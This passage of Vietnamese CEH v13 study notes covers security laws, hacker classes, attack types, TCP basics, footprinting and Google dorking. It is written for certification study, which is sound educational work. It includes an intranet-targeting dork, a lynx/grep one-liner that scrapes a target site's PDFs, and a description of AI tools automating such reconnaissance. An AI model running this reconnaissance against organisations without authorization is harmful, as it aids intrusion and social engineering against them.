    * **ISO/IEC 27040:2024**: Các yêu cầu và hướng dẫn kỹ thuật để đạt được bảo mật cho thiết bị và mạng lưu trữ dữ liệu (Data storage security).

- **HIPAA (Health Insurance Portability and Accountability Act):** Đạo luật cung cấp các biện pháp bảo vệ liên bang đối với thông tin sức khỏe cá nhân (PII). Bao gồm:
  - **Electronic Transactions and Code Set Standards:** Chuẩn hóa các giao dịch điện tử.
  - **Privacy Rule:** Thiết lập tiêu chuẩn bảo vệ hồ sơ y tế và giới hạn việc tiết lộ.
  - **Security Rule:** Yêu cầu các biện pháp bảo vệ hành chính, vật lý và kỹ thuật cho dữ liệu y tế điện tử.

  - **Employer Identifier Standard:** Mã số quốc gia chuẩn cho người sử dụng lao động.
  - **National Provider Identifier Standard (NPI):** Mã định danh số 10 chữ số duy nhất cho nhà cung cấp dịch vụ y tế.
  - **Enforcement Rule:** Các điều khoản về tuân thủ, điều tra và hình phạt.
- **SOX (Sarbanes-Oxley Act):** Được ban hành vào năm 2002 để bảo vệ nhà đầu tư, yêu cầu tính chính xác của báo cáo tài chính. Gồm 11 danh mục (Titles), tiêu biểu:
  - Title I: Public Company Accounting Oversight Board (PCAOB).
  - Title II: Auditor Independence (Tính độc lập của kiểm toán viên).
  - Title III: Corporate Responsibility (Trách nhiệm doanh nghiệp).
  - Title IV: Enhanced Financial Disclosures.
  - Title VIII, IX, XI: Các điều khoản về trách nhiệm giải trình và hình phạt tội phạm gian lận/cổ cồn trắng.
- **DMCA (Digital Millennium Copyright Act):** Luật bản quyền của Hoa Kỳ bảo vệ tài sản trí tuệ kỹ thuật số, cấm phá vỡ các biện pháp bảo vệ công nghệ. Gồm 5 Titles:
  - Title I: WIPO Treaty Implementation.
  - Title II: Online Copyright Infringement Liability Limitation (Giới hạn trách nhiệm cho ISP về Transitory communications, System caching, User-directed storage, Information location tools).
  - Title III: Computer Maintenance or Repair.
  - Title IV: Miscellaneous Provisions.
  - Title V: Protection of Certain Original Designs.
- **FISMA (Federal Information Security Management Act) - Trang 110:** Đạo luật cung cấp một khuôn khổ toàn diện đảm bảo các biện pháp kiểm soát bảo mật thông tin hỗ trợ hoạt động của liên bang Mỹ (áp dụng cho các cơ quan chính phủ và các nhà thầu).
  - **Khung FISMA (FISMA Framework) bao gồm:**
    * Tiêu chuẩn phân loại thông tin và hệ thống thông tin theo tác động sứ mệnh (mission impact).
    * Tiêu chuẩn về các yêu cầu bảo mật tối thiểu đối với thông tin và hệ thống thông tin.
    * Hướng dẫn lựa chọn các biện pháp kiểm soát bảo mật (security controls) phù hợp cho các hệ thống.
    * Hướng dẫn đánh giá các biện pháp kiểm soát bảo mật để xác định tính hiệu quả của chúng.
    * Hướng dẫn cấp phép bảo mật (security authorization) cho hệ thống thông tin.
- **DPA 2018 (UK Data Protection Act 2018) & GDPR - Trang 111-113:** DPA 2018 là luật bảo vệ dữ liệu cá nhân của Vương quốc Anh, cập nhật luật từ năm 1998, kiểm soát việc xử lý dữ liệu cá nhân của các tổ chức, trao quyền cho người dùng và thiết lập chức năng của Ủy viên Thông tin (Information Commissioner). Nó hoạt động song song với GDPR của Liên minh Châu Âu (EU) vốn đưa ra 7 nguyên tắc cốt lõi về xử lý dữ liệu (Tính hợp pháp, giới hạn mục đích, giảm thiểu dữ liệu, độ chính xác, giới hạn lưu trữ, tính bảo mật & tính trách nhiệm giải trình) kèm theo các hình phạt rất khắt khe đối với vi phạm.
  - **Bảo vệ dữ liệu cá nhân (Protection of personal data):**
    1. Đạo luật DPA bảo vệ các cá nhân liên quan đến việc xử lý dữ liệu cá nhân, cụ thể bằng cách:
       a. Yêu cầu dữ liệu cá nhân phải được xử lý hợp pháp và công bằng, dựa trên sự đồng ý của chủ thể dữ liệu hoặc cơ sở được chỉ định khác.

b. Trao quyền cho chủ thể dữ liệu để lấy thông tin về việc xử lý dữ liệu cá nhân của họ và yêu cầu sửa chữa dữ liệu cá nhân không chính xác.

c. Trao các chức năng cho Ủy viên (Commissioner), giao cho người giữ chức vụ đó trách nhiệm giám sát và thực thi các quy định.

2. Khi thực hiện các chức năng theo GDPR và Đạo luật này, Ủy viên phải quan tâm đến tầm quan trọng của việc đảm bảo mức độ bảo vệ thích hợp cho dữ liệu cá nhân, tính đến lợi ích của chủ thể dữ liệu, người kiểm soát và những người khác, cũng như các vấn đề vì lợi ích công cộng.

- **Luật an ninh mạng ở các quốc gia khác (Cyber Law in Different Countries) (Trang 115 - 118)**: Mỗi quốc gia có các bộ luật và quy định riêng để bảo vệ Internet và công nghệ truyền thông (về quyền riêng tư, tự do ngôn luận và quyền tài phán), ví dụ:
  - **Hoa Kỳ (United States)**: Online Copyright Infringement Liability Limitation Act, The Electronic Communications Privacy Act, Privacy Act of 1974, Computer Security Act of 1987, Freedom of Information Act (FOIA), California Consumer Privacy Act (CCPA), v.v.
  - **Úc (Australia)**: Cybercrime Act 2001, The Copyright Act 1968, Trademarks Act 1995.
  - **Vương quốc Anh (United Kingdom)**: Computer Misuse Act 1990, Investigatory Powers Act 2016, The Network and Information Systems Regulations 2018.
  - **Trung Quốc (China)**: Copyright Law, Trademark Law.
  - **Ấn Độ (India)**: Information Technology Act.
  - **Đức (Germany)**: Section 202a (Data Espionage), Section 303a/b (Computer Sabotage).
  - **Các quốc gia/khu vực khác**: Canada (PIPEDA), Singapore (Computer Misuse Act), Brazil (LGPD - Luật bảo vệ dữ liệu chung), Ý, Nhật Bản, Nam Phi, Hàn Quốc, Bỉ, Hong Kong, Philippines.

15. Thuật ngữ về hacker và phân loại (Hacking terminology / Hacker Classes)

- **Bảng Tổng hợp Động cơ và Mục tiêu của các nhóm Hacker (Hacker and their Motivations):**
  - **Script Kiddies:** Hành động vì mục tiêu vui vẻ, tìm kiếm sự chú ý. Hoạt động cyber: Tấn công DDoS đơn giản, thay đổi giao diện (defacing). Mục tiêu: Các website nhỏ, game online, diễn đàn.
  - **White Hat Hackers:** Cải thiện bảo mật, uy tín, thu nhập. Hoạt động cyber: Penetration test, đánh giá lỗ hổng. Mục tiêu: Doanh nghiệp, cơ quan chính phủ.
  - **Black Hat Hackers:** Trục lợi tài chính, phá hoại. Hoạt động cyber: Tạo malware, phishing, ransomware. Mục tiêu: Tổ chức tài chính, cá nhân, doanh nghiệp lớn.
  - **Gray Hat Hackers:** Khẳng định bản thân, tò mò, tiền thưởng. Hoạt động cyber: Khám phá lỗ hổng trái phép và báo cáo. Mục tiêu: Các tổ chức uy tín cao (high-profile).
  - **Hacktivists:** Thúc đẩy công lý xã hội, bảo vệ lý tưởng. Hoạt động cyber: DDoS, rò rỉ dữ liệu, defacing. Mục tiêu: Website chính phủ, tập đoàn, nhóm chính trị.
  - **State-Sponsored Hackers:** An ninh quốc gia, gián điệp chính trị. Hoạt động cyber: Gián điệp mạng, phá hoại hạ tầng. Mục tiêu: Cơ quan chính phủ nước khác, tập đoàn quốc gia.
  - **Cyber Terrorists:** Reo rắc sợ hãi, mục đích ý thức hệ. Hoạt động cyber: Tấn công hạ tầng trọng yếu, lan truyền tuyên truyền độc hại. Mục tiêu: Cơ sở hạ tầng công cộng, dịch vụ trọng yếu.
  - **Corporate Spies:** Lợi thế cạnh tranh, tài chính. Hoạt động cyber: Đánh cắp dữ liệu, gián điệp công nghiệp. Mục tiêu: Các công ty đối thủ.

  - **Blue Hat Hackers:** Cải thiện bảo mật sản phẩm. Hoạt động cyber: Audit, pentest trước khi ra mắt phần mềm. Mục tiêu: Công ty phần mềm/công nghệ.
  - **Red Hat Hackers:** Thực thi "công lý không gian mạng". Hoạt động cyber: Tấn công và đánh sập hạ tầng của Black hat. Mục tiêu: Các nhóm tội phạm mạng.
  - **Green Hat Hackers:** Học tập, tìm kiếm sự công nhận. Hoạt động cyber: Thử nghiệm kỹ thuật hacking cơ bản. Mục tiêu: Các mục tiêu có mức rủi ro thấp.

- **Script Kiddies (Trang 21):** Là những cá nhân thiếu kinh nghiệm, thường là người trẻ tuổi, thao túng hệ thống bằng cách sử dụng các kịch bản (scripts) hoặc công cụ (tools) có sẵn được phát triển bởi các hacker thực thụ mà không hiểu rõ về chúng. Họ thường tập trung vào số lượng hơn là chất lượng của cuộc tấn công, nhằm mục đích tìm kiếm sự hồi hộp, niềm vui hoặc sự công nhận.
- **White Hat Hackers (Trang 21 - 22):** (Hacker mũ trắng hoặc Penetration testers) Là những chuyên gia an ninh mạng sử dụng kỹ năng của họ cho mục đích phòng thủ. Họ có sự cho phép của chủ sở hữu hệ thống để đánh giá, tìm ra lỗ hổng và bảo vệ mạng lưới khỏi các cuộc tấn công độc hại.
- **Black Hat Hackers (Trang 21 - 22):** (Hacker mũ đen hoặc Crackers) Là những cá nhân sử dụng kỹ năng máy tính xuất chúng cho các mục đích bất hợp pháp hoặc độc hại. Họ thường liên quan đến các hoạt động tội phạm, trộm cắp dữ liệu, tạo mã độc, ransomware để gây hại hoặc thu lợi tài chính.
- **Gray Hat Hackers (Trang 21 - 22):** (Hacker mũ xám) Là những cá nhân hoạt động ở ranh giới giữa đạo đức và phi đạo đức. Họ có thể tấn công để tìm lỗ hổng mà không cần phép, sau đó báo cáo lại cho tổ chức hoặc giúp các nhà cung cấp khắc phục nhằm nhận lại sự công nhận hoặc tiền thưởng.
- **Hacktivists (Trang 21 - 22):** Những cá nhân hoặc nhóm có động cơ chính trị, xã hội. Họ đột nhập vào các hệ thống máy tính của chính phủ hoặc doanh nghiệp như một hành động phản đối nhằm thúc đẩy một chương trình nghị sự xã hội, làm mất mặt mục tiêu, hoặc rò rỉ dữ liệu ra công chúng.
- **State-Sponsored Hackers (Trang 21 - 22):** Những chuyên gia có tay nghề cao được chính phủ các quốc gia tuyển dụng/tài trợ. Mục tiêu của họ là xâm nhập, thu thập thông tin tình báo tuyệt mật, gián điệp mạng hoặc phá hoại cơ sở hạ tầng của các quốc gia hoặc tổ chức khác.
- **Cyber Terrorists (Trang 21 - 22):** (Khủng bố mạng) Những kẻ cực đoan sử dụng các cuộc tấn công mạng để thúc đẩy niềm tin tôn giáo hoặc chính trị. Mục tiêu của chúng là gieo rắc nỗi sợ hãi hoặc phá hoại các cơ sở hạ tầng quan trọng trên quy mô lớn.
- **Corporate Spies / Industrial Spies (Trang 21 - 22):** Những cá nhân được các công ty thuê để tiến hành hoạt động gián điệp doanh nghiệp. Họ đánh cắp các thông tin quan trọng như bản thiết kế, công thức, chiến lược tiếp thị, bí mật thương mại của các đối thủ cạnh tranh nhằm giành lợi thế tài chính.
- **Blue Hat Hackers (Trang 21 - 23):** Các chuyên gia an ninh mạng làm việc theo hợp đồng, được tổ chức thuê để kiểm tra (test) hệ thống hoặc phần mềm trước khi phát hành sản phẩm nhằm cải thiện bảo mật.
- **Red Hat Hackers (Trang 21 - 23):** Hacker mũ đỏ áp dụng các chiến thuật tấn công quyết liệt (aggressive tactics) giống như black hat để triệt hạ các tổ chức tội phạm mạng. Họ tìm cách phá hủy các cơ sở hạ tầng độc hại thay vì chỉ phòng thủ, và không tuân thủ các quy tắc đạo đức thông thường.
- **Green Hat Hackers (Trang 21 - 23):** Những người mới làm quen (newcomers) khao khát học hỏi các kỹ năng hacking. Họ thường tham gia vào các diễn đàn trực tuyến, cộng đồng để tìm hiểu kiến thức và thực hành các cuộc tấn công đơn giản.
- **Suicide Hackers (Trang 23):** Những kẻ sẵn sàng đánh sập cơ sở hạ tầng quan trọng vì một "nghĩa cử/lý tưởng" (cause) mà không hề quan tâm đến hậu quả, kể cả việc phải đối mặt với án tù.
- **Hacker Teams (Trang 23):** Một liên minh các hacker lành nghề có tài nguyên và nguồn quỹ riêng. Họ hợp tác để nghiên cứu công nghệ tiên tiến, phát hiện lỗ hổng và phát triển các công cụ tấn công bài bản.

- **Insiders (Trang 23):** Bất kỳ nhân viên hoặc người được tin tưởng nào trong tổ chức có quyền truy cập vào các tài sản quan trọng. Họ lạm dụng quyền này để vi phạm nguyên tắc, vượt qua các kiểm soát bảo mật và đánh cắp thông tin (thường là nhân viên bất mãn hoặc người thiếu đào tạo).
- **Criminal Syndicates (Trang 23):** Các nhóm tham gia vào hoạt động tội phạm có tổ chức, có kế hoạch và kéo dài. Mục đích chính là thực hiện các tấn công tinh vi để biển thủ tiền bất hợp pháp và rửa tiền.
- **Organized Hackers (Trang 23):** Nhóm tội phạm hoạt động cùng nhau với cấu trúc quản lý phân cấp. Chúng thường thuê thiết bị, sử dụng botnet hoặc dịch vụ crimeware để lấy tiền từ nạn nhân, đánh cắp tài sản trí tuệ và có khả năng ẩn danh trong thời gian dài.

---

16. Các loại tấn công (Attack Types)

- **Passive attacks (Trang 13):** (Tấn công thụ động) Các cuộc tấn công này liên quan đến việc chặn bắt (intercepting) và giám sát (monitoring) lưu lượng mạng và luồng dữ liệu mà hoàn toàn không can thiệp hay thay đổi dữ liệu. Rủi ro bị phát hiện rất thấp do kẻ tấn công không có sự tương tác chủ động với hệ thống mục tiêu. Ví dụ: Footprinting, Sniffing, eavesdropping, phân tích lưu lượng mạng, và giải mã các lưu lượng mã hóa yếu.
- **Active attacks (Trang 13 - 14):** (Tấn công chủ động) Kẻ tấn công chủ động gửi lưu lượng vào mạng để can thiệp vào dữ liệu đang truyền tải hoặc làm gián đoạn thông tin liên lạc/dịch vụ nhằm vượt qua các hệ thống bảo mật. Loại tấn công này dễ bị phát hiện hơn. Ví dụ: Tấn công từ chối dịch vụ (DoS/DDoS), Vượt qua các cơ chế bảo vệ (Bypassing protection mechanisms), Tấn công phần mềm độc hại (Malware), Thay đổi thông tin, Spoofing, Tấn công Replay, Tấn công dựa trên mật khẩu, Cướp phiên (Session hijacking), Man-in-the-Middle, Đầu độc DNS/ARP, Khóa bị xâm phạm (Compromised-key), Tấn công Tường lửa/IDS, Profiling, Thực thi mã tùy ý (Arbitrary code execution), Leo thang đặc quyền, Truy cập Backdoor, Tấn công mật mã, SQL injection, XSS, Directory traversal, và Khai thác phần mềm ứng dụng/hệ điều hành.
- **Close-in Attacks (Trang 14):** (Tấn công cự ly gần) Được thực hiện khi kẻ tấn công ở gần hệ thống hoặc mạng mục tiêu về mặt vật lý. Mục đích là thu thập, sửa đổi thông tin hoặc phá hoại quyền truy cập. Ví dụ: Social engineering (như shoulder surfing, dumpster diving).
- **Insider Attacks (Trang 14 - 15):** Được thực hiện bởi những người được tin tưởng (insiders) đã có đặc quyền truy cập vật lý vào các tài sản quan trọng của tổ chức. Họ có thể dễ dàng vượt qua các quy tắc bảo mật để đánh cắp hoặc phá hoại dữ liệu. Ví dụ: Eavesdropping, trộm cắp thiết bị vật lý, cấy keylogger hoặc backdoor.
- **Các ví dụ khác về tấn công nội bộ (Insider attacks):** Pod slurping (đánh cắp dữ liệu qua thiết bị lưu trữ di động), cấy keylogger, backdoor hoặc malware, và phá hoại dữ liệu (Data theft and spoliation).
- **Distribution Attacks (Trang 15):** Xảy ra khi kẻ tấn công can thiệp vào phần cứng hoặc phần mềm trước khi chúng được cài đặt (tại nguồn sản xuất hoặc trong quá trình vận chuyển bàn giao cho khách hàng). Kẻ tấn công tận dụng các backdoor này để giành quyền truy cập trái phép.

---

17. Khung quy trình thực hiện kiểm toán bảo mật (Framework for performing a security audit)

Các bước sau đây cung cấp một khuôn khổ để thực hiện kiểm toán bảo mật (hoặc kiểm thử xâm nhập) cho một tổ chức nhằm đảm bảo cuộc kiểm thử có tổ chức, hiệu quả và có đạo đức:

- Trò chuyện với khách hàng và thảo luận về các nhu cầu cần giải quyết trong quá trình kiểm thử (Talk to the client and discuss the needs).
- Chuẩn bị và ký kết các tài liệu Thỏa thuận bảo mật thông tin (NDA) với khách hàng (Prepare and sign NDA documents).
- Tổ chức nhóm ethical hacking và chuẩn bị lịch trình kiểm thử (Organize an ethical hacking team and prepare the schedule).
- Tiến hành thực hiện bài kiểm tra thực tế (Conduct the test).
- Phân tích kết quả kiểm thử và chuẩn bị báo cáo (Analyze the results of the testing and prepare a report).
- Trình bày các phát hiện trong báo cáo cho khách hàng (Present the report findings to the client).

CEHv13 - Module 02 - Footprinting and Reconnaissance

Mạng TCP/IP

1. Giao thức UDP (User Datagram Protocol) - Trang 319 & 337

- UDP có đặc điểm là giao thức không kết nối (connectionless), không thực hiện quá trình bắt tay ba bước (three-way handshake) như TCP, do đó việc quét UDP khó khăn hơn vì hệ thống thường không phản hồi nếu không có ứng dụng lắng nghe.
- Các giao thức phổ biến sử dụng qua UDP (được liệt kê trong bảng cổng và dịch vụ) bao gồm: **DNS** (cổng 53/udp), **DHCP/bootps-bootpc** (cổng 67-68/udp), và **TFTP** (cổng 69/udp).

2. Cấu trúc phân đoạn TCP (TCP Communication Flags) - Trang 286-287

Tiêu đề TCP chứa 6 cờ (mỗi cờ kích thước 1 bit) để kiểm soát việc truyền dữ liệu và quản lý kết nối:

- **`SYN` (Synchronize)**: Thông báo việc truyền một số thứ tự (sequence number) mới. Cờ này đại diện cho việc thiết lập kết nối (three-way handshake) ban đầu giữa hai máy chủ.
- **`ACK` (Acknowledgement)**: Xác nhận đã nhận được dữ liệu truyền và xác định số thứ tự dự kiến tiếp theo. Khi hệ thống nhận được gói tin thành công, nó đặt giá trị cờ này thành "1" (Được đặt trên mọi phân đoạn sau gói SYN ban đầu).
- **`RST` (Reset)**: Khi có lỗi trong kết nối hiện tại, cờ này được đặt thành "1" và kết nối sẽ bị hủy bỏ (aborted) hoặc buộc chấm dứt ngay lập tức để phản hồi lại lỗi.
- **`FIN` (Finish)**: Được đặt thành "1" để thông báo rằng sẽ không có thêm dữ liệu nào được gửi đi nữa và tiến hành đóng kết nối đã được thiết lập bởi cờ SYN.
- **`URG` (Urgent)**: Hướng dẫn hệ thống xử lý dữ liệu chứa trong gói càng sớm càng tốt (dữ liệu ưu tiên/ngoài luồng). Hệ thống sẽ ưu tiên xử lý dữ liệu khẩn cấp này trước và mọi quá trình xử lý dữ liệu khác bị dừng lại.

3. Số thứ tự SYN (Initial Sequence Numbers - ISNs) - Trang 419

Hầu hết các thiết bị chọn số thứ tự ban đầu (ISN) dựa trên bộ đếm thời gian, do đó kẻ tấn công có thể xác định và dự đoán được ISN của kết nối TCP tiếp theo bằng cách phân tích ISN của phiên hiện tại. Nếu dự đoán được ISN, kẻ tấn công có thể thiết lập một kết nối độc hại hoặc quét mạng. Do đó, hệ thống cần sử dụng số thứ tự ban đầu ngẫu nhiên (**Random ISNs**) để đảm bảo tính hợp lệ, duy nhất và tránh rủi ro giả mạo phiên.

4. Quá trình thiết lập và kết thúc phiên TCP (Three-way Handshake) - Trang 288-289

TCP ưu tiên thiết lập kết nối trước khi truyền dữ liệu qua cơ chế bắt tay ba bước. Các trạng thái liên quan bao gồm:

- **Bước 1**: Nguồn gửi một gói `SYN` đến đích để khởi tạo.
- **Bước 2**: Khi nhận được gói `SYN`, đích phản hồi bằng cách gửi lại gói `SYN/ACK`.
- **Bước 3**: Nguồn gửi một gói `ACK` để xác nhận đã nhận được gói `SYN/ACK`, chính thức "MỞ" kết nối cho đến khi một gói `FIN` hoặc `RST` được gửi để đóng phiên.

Công cụ tạo gói (Packet crafting tools):

- **NetScanTools**: Một bộ công cụ điều tra tích hợp nhiều tiện ích mạng, cho phép tạo và gửi gói tin để trích xuất thông tin.

- **Ostinato**: Công cụ tạo và phát lưu lượng mạng (traffic generator) mã nguồn mở, cho phép xây dựng và gửi các gói tin tùy chỉnh để kiểm thử mạng và hệ thống bảo mật.
- **packETH**: Công cụ tạo và chỉnh sửa gói tin Ethernet ở mức thấp (Layer 2), cho phép thao tác trực tiếp trên dữ liệu dạng hex và gửi packet thủ công.
- **LANforge FIRE**: Nền tảng kiểm thử mạng chuyên nghiệp, hỗ trợ tạo lưu lượng lớn để đánh giá hiệu năng, stress test và kiểm tra hệ thống mạng (có bản thương mại).
- **Colasoft Packet Builder**: Hỗ trợ tạo các gói tin mạng tùy chỉnh, thay đổi tham số trong bộ giải mã (decoder), hệ thập lục phân (hex) hoặc ASCII, lưu và gửi gói tin thẳng vào mạng.

Các trạng thái liên quan: `SYN`, `SYN/ACK`, `ACK`, `FIN`.

- **SYN (Synchronize):** Cờ dùng để bắt đầu kết nối TCP, client gửi SYN để yêu cầu thiết lập kết nối.
- **SYN/ACK (Synchronize/Acknowledge):** Server phản hồi SYN bằng SYN/ACK để xác nhận yêu cầu và đồng ý thiết lập kết nối.
- **ACK (Acknowledge):** Cờ xác nhận đã nhận dữ liệu hoặc hoàn tất một bước trong quá trình bắt tay TCP.
- **FIN (Finish):** Cờ dùng để kết thúc kết nối TCP, báo hiệu một bên muốn đóng phiên giao tiếp.
- **Internet Assigned Numbers Authority (IANA):** Tổ chức quản lý và duy trì các registry chính thức như số cổng (port numbers), tên dịch vụ và giao thức trên Internet. — danh sách chính thức các đăng ký số cổng.

Thu thập dấu vết / trinh sát (Footprinting / Reconnaissance) (Trang 125 - 126)

Thu thập dấu vết (Footprinting) là quá trình thu thập thông tin về mạng và môi trường của mục tiêu để tìm kiếm cơ hội xâm nhập. Các loại trinh sát được phân thành:

- **Thụ động (Passive Footprinting):** Thu thập thông tin mà không có sự tương tác trực tiếp với mục tiêu, rất hữu ích khi kẻ tấn công không muốn bị phát hiện. Phương pháp này bao gồm: thu thập tình báo nguồn mở (OSINT), sử dụng cơ sở dữ liệu độc quyền hoặc dịch vụ trả phí, và chia sẻ thông tin tình báo với các nhóm hoặc tổ chức đối tác.
- **Chủ động (Active Footprinting):** Đòi hỏi sự tương tác trực tiếp với mục tiêu. Hệ thống mục tiêu có thể phát hiện quá trình này vì kẻ tấn công tương tác công khai với mạng lưới. Phương pháp bao gồm: tra cứu/truy vấn DNS, social engineering, quét mạng/cổng (network/port scanning), và liệt kê dịch vụ/người dùng.

Thông tin thu thập được từ Footprinting (Trang 127 - 128)

- **Thông tin tổ chức (Organization Information)**: Chi tiết nhân viên (tên, chức vụ, kinh nghiệm, địa chỉ liên hệ, điện thoại), thông tin chi nhánh, đối tác, liên kết web, lịch sử tổ chức, công nghệ web, thông cáo báo chí, tài liệu pháp lý, bằng sáng chế và nhãn hiệu.
- **Thông tin mạng (Network Information)**: Tên miền, domain phụ, khối mạng (network blocks), cấu trúc liên kết mạng (network topology), thông tin router/firewall tin cậy, địa chỉ IP của các hệ thống có thể tiếp cận, bản ghi Whois và bản ghi DNS.
- **Thông tin hệ thống (System Information)**: Hệ điều hành máy chủ web (Web server OS), vị trí máy chủ web, địa chỉ email công khai, tên người dùng và mật khẩu (usernames/passwords).

Mục tiêu và Mối đe dọa của Footprinting (Trang 128 - 129)

- **Mục tiêu**: Xây dựng chiến lược tấn công, tìm ra điểm yếu nhất trong hệ thống bảo mật (weakest link) và xây dựng cơ sở dữ liệu thông tin về mục tiêu.

- **Mối đe dọa (Footprinting Threats)**: Kỹ nghệ xã hội (Social Engineering), Tấn công hệ thống và mạng (System and Network Attacks), Rò rỉ thông tin (Information Leakage), Mất quyền riêng tư (Privacy Loss), Gián điệp doanh nghiệp (Corporate Espionage), Thất thoát doanh thu (Business Loss).

Cách thức hoạt động của Footprinting qua công cụ tìm kiếm (Trang 131)

Các công cụ tìm kiếm là nguồn chính cung cấp thông tin trọng yếu về một tổ chức mục tiêu. Chúng sử dụng các phần mềm tự động, tức là các trình thu thập thông tin (crawlers), để liên tục quét các trang web đang hoạt động và thêm kết quả thu xuất được vào chỉ mục (index) của công cụ tìm kiếm, sau đó lưu trữ trong một cơ sở dữ liệu khổng lồ.

Khi người dùng truy vấn chỉ mục, nó sẽ trả về danh sách các Trang kết quả của công cụ tìm kiếm (SERPs). Những kết quả này bao gồm các trang web, video, hình ảnh và nhiều loại tệp khác nhau được xếp hạng và hiển thị theo mức độ liên quan. Nhiều công cụ tìm kiếm có thể trích xuất thông tin của tổ chức mục tiêu như: nền tảng công nghệ, chi tiết nhân viên, trang đăng nhập (login pages), cổng mạng nội bộ (intranet portals), thông tin liên hệ, v.v. Thông tin này giúp kẻ tấn công thực hiện kỹ nghệ xã hội (social engineering) và các loại tấn công hệ thống nâng cao khác.

Google advanced search operators (Toán tử tìm kiếm nâng cao của Google) (Trang 132 - 134)

Kẻ tấn công sử dụng các toán tử này để tạo ra các truy vấn phức tạp nhằm trích xuất thông tin nhạy cảm hoặc bị ẩn.

- `cache:` Hiển thị trang web được lưu trong bộ nhớ cache của Google thay vì phiên bản hiện tại của trang.
- `link:` Liệt kê các trang web có chứa liên kết trỏ tới URL hoặc trang web được chỉ định.
- `related:` Hiển thị các trang web tương tự hoặc có liên quan đến trang web được chỉ định.
- `info:` Hiển thị một số thông tin mà Google có được về một trang web cụ thể.
- `site:` Giới hạn kết quả tìm kiếm chỉ trong một trang web hoặc tên miền cụ thể.
- `allintitle:` Giới hạn kết quả trả về chỉ các trang web có chứa tất cả các từ khóa tìm kiếm nằm trong tiêu đề (title).
- `intitle:` Giới hạn kết quả trả về chỉ các tài liệu có chứa từ khóa tìm kiếm nằm trong tiêu đề.
- `allinurl:` Giới hạn kết quả trả về chỉ những trang có chứa tất cả các từ khóa tìm kiếm nằm trong URL.
- `inurl:` Giới hạn kết quả trả về chỉ những tài liệu có chứa từ khóa được chỉ định trong URL.
- `location:` Tìm thông tin cho một vị trí địa lý cụ thể.
- `filetype:` Tìm kiếm kết quả dựa trên một phần mở rộng tệp tin cụ thể (ví dụ: `filetype:pdf`).
- `source:` Hiển thị thông tin từ một trang web cụ thể trên Google News.
- `phonebook:` Tìm số điện thoại dân cư và doanh nghiệp của một cá nhân hoặc tổ chức.
- `before:` Lọc kết quả tìm kiếm chỉ bao gồm nội dung được xuất bản trước một ngày nhất định (ví dụ: `before:2020-06-29`).
- `after:` Lọc kết quả tìm kiếm chỉ bao gồm nội dung được xuất bản sau một ngày nhất định.
- `inanchor:` Giới hạn kết quả tìm kiếm chỉ những trang chứa từ khóa được chỉ định trong văn bản neo (anchor text) của các liên kết trỏ đến trang đó. (Ví dụ: [Anti-virus inanchor:Norton]).
- `allinanchor:` Giới hạn kết quả trả về chỉ những trang chứa tất cả các từ khóa được chỉ định trong văn bản neo (anchor text) của các liên kết. (Ví dụ: [allinanchor: best cloud service provider]).

- **Lưu ý khi sử dụng toán tử:**
  - Không nhập bất kỳ khoảng trắng nào giữa toán tử và truy vấn (Ví dụ: operator: search_term).
  - Theo tài liệu của Google, "bạn không thể kết hợp tìm kiếm link: với tìm kiếm từ khóa thông thường". Ngoài ra, khi bạn kết hợp link: với một toán tử nâng cao khác, Google có thể không trả về tất cả các trang khớp.

Hacker có thể làm gì với Google Hacking? (Trang 135)

Bằng cách sử dụng các toán tử Google, kẻ tấn công có thể phát hiện các trang web và máy chủ dễ bị tấn công (SQL injection, buffer overflow) và trích xuất thông tin nhạy cảm. Các thông tin có thể thu thập gồm:

- Thông báo lỗi chứa thông tin nhạy cảm, tệp chứa mật khẩu, các thư mục nhạy cảm.
- Các trang chứa cổng đăng nhập (logon portals).
- Dữ liệu cấu hình, log tường lửa, IDS.
- Mã nguồn ứng dụng web, thông tin phiên bản phần mềm.
- Thiết bị IoT và bảng điều khiển (control panels) không được bảo vệ.
- Các trang web bị ẩn (Intranet, dịch vụ VPN).
- **Ví dụ thực tế về Toán tử nâng cao của Google:** Sử dụng cú pháp: [intitle:intranet inurl:intranet +intext:"human resources"]
  - Lệnh này được sử dụng để tìm kiếm các thông tin nhạy cảm về tổ chức mục tiêu và nhân viên của họ. Kẻ tấn công sử dụng thông tin thu thập được này để thực hiện các cuộc tấn công kỹ nghệ xã hội (social engineering attacks).

Footprinting bằng AI & Cơ sở dữ liệu Google Hacking (GHDB) (Trang 137 - 143)

- **Khai thác Google Hacking với AI**: Kẻ tấn công có thể sử dụng các công nghệ AI (như ChatGPT hoặc Shell-GPT) để tự động hóa việc tìm kiếm. Ví dụ một prompt: *"Use filetype search operator to obtain pdf files on the target website eccouncil.org and store the result in the recon1.txt file"*. AI có thể trả về các lệnh shell nâng cao (như dùng `lynx --dump` kết hợp `grep` và `cut`) để cào dữ liệu nhanh chóng.
  - **Cú pháp lệnh shell nâng cao (Sử dụng trình duyệt Lynx):**

    ```
    lynx --dump "http://www.google.com/search?q=site:eccouncil.org+filetype:pdf" | grep "http"
    ```

    * `lynx --dump ...`: Khởi chạy trình duyệt web Lynx ở chế độ dump (kết xuất) để truy cập kết quả tìm kiếm của Google cho các tệp PDF.
    * `| grep "http"`: Lọc ra các dòng chứa chuỗi "http" từ đầu ra của Lynx.
    * `| cut -d "=" -f2`: Tách mỗi dòng sử dụng dấu "=" làm dấu phân cách và chọn trường thứ hai.
    * `| grep -o "http[^&]*"`: Tìm kiếm các mẫu bắt đầu bằng "http" theo sau là bất kỳ ký tự nào ngoại trừ &.
    * `> recon1.txt`: Chuyển hướng đầu ra cuối cùng vào tệp có tên `recon1.txt` để lưu trữ.
- **Google Hacking Database (GHDB)**: Là cơ sở dữ liệu truy vấn giúp tìm kiếm các thông tin nhạy cảm vô tình bị lộ. Các dorks thường tìm: Sensitive files, Exposed directories, Error messages, Vulnerable devices.
- **Các danh mục của Cơ sở dữ liệu Google Hacking (Google Hacking Database Categories):** Footholds (Bàn đạp), Files Containing Usernames (Tệp chứa tên người dùng), Sensitive Directories (Thư mục nhạy

cảm), Web Server Detection (Phát hiện máy chủ web), Vulnerable Files (Tệp dễ bị tổn thương), Vulnerable Servers (Máy chủ dễ bị tổn thương), Error Messages (Thông báo lỗi), Files Containing Juicy Info (Tệp chứa thông tin giá trị), Files Containing Passwords (Tệp chứa mật khẩu), Sensitive Online Shopping Info (Thông tin mua sắm trực tuyến nhạy cảm), Network or Vulnerability Data (Dữ liệu mạng hoặc lỗ hổng), Pages Containing Login Portals (Trang chứa cổng đăng nhập), Various Online Devices (Nhiều thiết bị trực tuyến), Advisories and Vulnerabilities (Cảnh báo và lỗ hổng).

